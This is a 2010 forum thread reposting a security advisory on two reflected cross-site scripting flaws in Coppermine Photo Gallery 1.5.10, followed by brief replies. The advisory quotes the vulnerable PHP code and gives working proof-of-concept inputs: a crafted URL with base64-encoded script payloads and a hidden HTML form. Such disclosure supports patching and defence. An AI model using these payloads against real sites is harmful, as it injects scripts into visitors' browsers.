  | 
	Menu | 
	  | 
 
 
    
     
     
     
      
       
       
        
         
         
          
           
						 |  
						 Home |  
 |   |  
						 |  
						 Discussions |  
 |   |  
						 |  
						 Tools |  
 |   |  
						 |  
						 Affiliates |  
 |   |  
						 |  
						 Content |  
 |   |  
						 |  
						 Info |  
 |   |    | 
            
          
         | 
       
     
    | 
    
   
   | 
   
 
 | 
   
 
  
    
    
        
	  | 
	User Info | 
	  | 
 
 
    
     
     
     
      
       
       
        
         
         
          
             Membership: 
  Latest: MichaelSnaRe 
  New Today: 0 
  New Yesterday: 0 
  Overall: 9144 
 
  People Online:
 
  Visitors: 79 
  Members: 0 
  Total: 79 
 | 
            
          
         | 
       
     
    | 
    
   
   | 
   
 
 | 
   
 
  
    
    
        
	  | 
	Full disclosure | 
	  | 
 
 
    
 | 
   
 
 | 
  
    
        
	  | 
	 | 
	  | 
 
 
    
        
          
              
                
                    
                      
                          
                            
                            
	
	
		  | 
		 | 
	 
	
		  | 
		IT Security and Insecurity Portal | 
	 
	 
	 | 
 
 
 
	  | 
	[waraxe-2010-SA#079] - Reflected XSS in Coppermine 1.5.10 | 
	  | 
 
 
	
	
		 Posted: Tue Dec 28, 2010 8:55 am | 
		      | 
	   | 
 
	
	
		
		
			
			
				
				| waraxe |  
				| Site admin |  
				 
   |  
				 |  
				| Joined: May 11, 2004 |  
				| Posts: 2407 |  
				| Location: Estonia, Tartu |  
				  | 
			 
			 
 
  | 
			  | 
		 
		
			  | 
			  | 
		 
		 
 
  | 
		
		
			Fresh security advisory is out:
 
 
http://www.waraxe.us/advisory-79.html
 
 
 	  | Code: | 	 		  
 
 
[waraxe-2010-SA#079] - Reflected XSS in Coppermine 1.5.10
 
==============================================================================
 
 
Author: Janek Vind "waraxe"
 
Date: 28. December 2010
 
Location: Estonia, Tartu
 
Web: http://www.waraxe.us/advisory-79.html
 
 
 
Affected Software:
 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 
Coppermine is a multi-purpose fully-featured and integrated web picture gallery
 
script written in PHP using GD or ImageMagick as image library with a MySQL backend.
 
 
http://coppermine-gallery.net/
 
 
 
Affected versions
 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 
Tests were conducted against Coppermine version 1.5.10. Research showed, that
 
all versions in 1.5.x branch, including 1.5.1_alpha, are vulnerable as well.
 
 
###############################################################################
 
1. Reflected XSS in "help.php"
 
###############################################################################
 
 
Reason: failure to sufficiently sanitize user-supplied input data
 
Attack vector: user submitted GET parameters "h" and "t"
 
Preconditions: none
 
 
Source code snippet from vulnerable script "help.php":
 
-----------------[ source code start ]---------------------------------
 
if ($superCage->get->keyExists('base')) {
 
  $base = $superCage->get->getInt('base');
 
...
 
if ($superCage->get->keyExists('h')) {
 
  $header = $superCage->get->getEscaped('h');
 
...
 
if ($superCage->get->keyExists('t')) {
 
  $text = $superCage->get->getEscaped('t');
 
...
 
if ($base != '') {
 
  // content of header and text have been base64-encoded - decode it now
 
  $header = @unserialize(@base64_decode($header));
 
  $text = @unserialize(@base64_decode($text));
 
}
 
...
 
if ($header != '') {
 
  $content = '<h1>'.$header.'</h1>';
 
  $content .= $text;
 
...
 
echo <<< EOT
 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
 
...
 
    <div id="cpg_main_block">
 
      $string
 
      $content
 
-----------------[ source code end ]-----------------------------------
 
 
As seen above, user-provided data is base64 decoded and then used for html
 
output. No sanitization of potentially dangerous data, therefore Reflected XSS
 
security vulnerability exists in specific php script.
 
 
Example exploit:
 
 
http://localhost/cpg.1.5.10/help.php?base=1
 
&h=czozMzoiPHNjcmlwdD5hbGVydCgnaGVhZGVyJyk7PC9zY3JpcHQ%2bIjs
 
&t=czozMToiPHNjcmlwdD5hbGVydCgndGV4dCcpOzwvc2NyaXB0PiI7
 
 
 
###############################################################################
 
2. Reflected XSS in "searchnew.php"
 
###############################################################################
 
 
Reason: failure to sufficiently sanitize user-supplied input data
 
Attack vector: user submitted POST parameter "picfile_*"
 
Preconditions:
 
 1. user must be logged in as Coppermine admin
 
 2. XSS payload charset is somewhat limited, little bit of creativity needed
 
 
 
Source code snippet from vulnerable script "searchnew.php":
 
-----------------[ source code start ]---------------------------------
 
if (!GALLERY_ADMIN_MODE) {
 
  cpg_die(ERROR, $lang_errors['access_denied'], __FILE__, __LINE__);
 
...
 
if ($superCage->post->keyExists('insert')) {
 
   if ($superCage->post->keyExists('pics')){
 
    $pics = $superCage->post->getAlnum('pics');
 
...
 
    foreach ($pics as $pic_id) {
 
...
 
     $picfile = $superCage->post->getAlnum('picfile_'.$pic_id);
 
     $pic_file = base64_decode($picfile);
 
...
 
     $file_name = basename($pic_file);
 
...
 
echo '<td class="'.$rowStyle.'" valign="middle" align="left">'.$file_name.'</td>'
 
-----------------[ source code end ]-----------------------------------
 
 
As seen above, user-provided POST parameter "pics_*" is base64 decoded
 
and then processed by php function basename(). Finally it is used for
 
html output. As in previous vulnerability, attacker is able to use base64
 
encoding for XSS payload obfuscation. What differs from previous case, is
 
the use of basename() function. Thanks to this function, XSS payload charset
 
is somewhat limited. Still, specific Reflected XSS vulnerabilty is exploitable.
 
 
Example exploit (Coppermine admin privileges needed):
 
-----------------------------------------------------------------------
 
<html><body><center>
 
<form action="http://localhost/cpg.1.5.10/searchnew.php" method="post">
 
<input type="hidden" name="insert" value="1">
 
<input type="hidden" name="pics[]" value="222">
 
<input type="hidden" name="picfile_222" value="PGJvZHkgb25sb2FkPWFsZXJ0KDEyMyk7Pg">
 
<input type="submit" value="Test!">
 
</form>
 
</center></body></html>
 
-----------------------------------------------------------------------
 
 
 
Greetings:
 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 
Greets to ToXiC, y3dips, Sm0ke, Heintz, slimjim100, pexli, zerobytes, Chb,
 
vince213333, to all active waraxe.us forum members and to anyone else who know me!
 
 
 
Contact:
 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 
come2waraxe@yahoo.com
 
Janek Vind "waraxe"
 
 
Waraxe forum: http://www.waraxe.us/forums.html
 
Personal homepage: http://www.janekvind.com/
 
Random project: http://albumnow.com/
 
---------------------------------- [ EOF ] ------------------------------------
 
 
 | 	 
  | 
		 
		  | 
	 
	
		 | 
	 
	  | 
 
	 | 
 
 
  |   
	  | 
	 | 
	  | 
 
 
	
	
		 Posted: Tue Dec 28, 2010 1:17 pm | 
		      | 
	   | 
 
	
	
		
		
			
			
				
				| pexli |  
				| Valuable expert |  
				 
   |  
				 |  
				| Joined: May 24, 2007 |  
				| Posts: 665 |  
				| Location: Bulgaria |  
				  | 
			 
			 
 
  | 
			  | 
		 
		
			  | 
			  | 
		 
		 
 
  | 
		
		
			Waraxe проснулся из зимнего сна. ))))))))) | 
		 
		  | 
	 
	
		 | 
	 
	  | 
 
	 | 
 
 
	
	
		 Posted: Tue Dec 28, 2010 1:35 pm | 
		      | 
	   | 
 
	
	
		
		
			
			
				
				| VERTIGO |  
				| Advanced user |  
				 
   |  
				 |  
				| Joined: Sep 25, 2008 |  
				| Posts: 87 |  
				 |  
				  | 
			 
			 
 
  | 
			  | 
		 
		
			  | 
			  | 
		 
		 
 
  | 
		 | 
	 
	
		 | 
	 
	  | 
 
	 | 
 
 
	
	
		 Posted: Tue Jan 04, 2011 10:36 pm | 
		      | 
	   | 
 
	
	
		
		
			
			
				
				| julioisaias |  
				| Valuable expert |  
				 
   |  
				 |  
				| Joined: Jan 25, 2008 |  
				| Posts: 50 |  
				 |  
				  | 
			 
			 
 
  | 
			  | 
		 
		
			  | 
			  | 
		 
		 
 
  | 
		
		
			Great waraxe...    | 
		 
		  | 
	 
	
		
		
			 _________________ I study enough to make the rest a result. | 
		 
		  | 
	 
	  | 
 
	 | 
 
 
	
	www.waraxe.us Forum Index -> Coppermine Photo Gallery 
	
	
		
			You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum 
		 | 
		
			All times are GMT 
			Page 1 of 1
			 
			
		 | 
	 
	 
	 | 
 
	| 
	 | 
 
 
  
Powered by phpBB © 2001-2008 phpBB Group
 
  
 
 
 | 
                           
                         
                         | 
                     
                    | 
               
              | 
         
       
       | 
   
  |